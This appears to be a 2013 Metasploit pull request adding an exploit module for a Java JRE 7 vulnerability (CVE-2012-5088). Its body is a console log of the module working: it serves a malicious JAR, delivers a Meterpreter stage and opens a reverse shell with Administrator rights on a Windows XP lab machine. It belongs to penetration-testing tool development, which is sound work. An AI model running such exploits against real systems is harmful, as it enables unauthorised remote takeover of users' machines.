rapid7/metasploit-framework — pull request #1332 by jvazquez-r7 (2013-01-17 20:29:31+00:00)
Title: Added module for CVE-2012-5088

msf exploit(java_jre17_method_handle) > rexploit
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.128:4444
[*] Using URL: http://0.0.0.0:8080/ZxzpOK7
[*] Local IP: http://192.168.1.128:8080/ZxzpOK7
[*] Server started.
msf exploit(java_jre17_method_handle) > [*] 192.168.1.142 java_jre17_method_handle - handling request for /ZxzpOK7
[*] 192.168.1.142 java_jre17_method_handle - handling request for /ZxzpOK7/
[*] 192.168.1.142 java_jre17_method_handle - handling request for /ZxzpOK7/ciwksCGP.jar
[*] 192.168.1.142 java_jre17_method_handle - handling request for /ZxzpOK7/ciwksCGP.jar
[*] Sending stage (30216 bytes) to 192.168.1.142
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.142:3148) at 2013-01-17 21:07:22 +0100

msf exploit(java_jre17_method_handle) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: Administrator
meterpreter > sysinfo
Computer : juan-c0de875735
OS : Windows XP 5.1 (x86)
Meterpreter : java/java
meterpreter >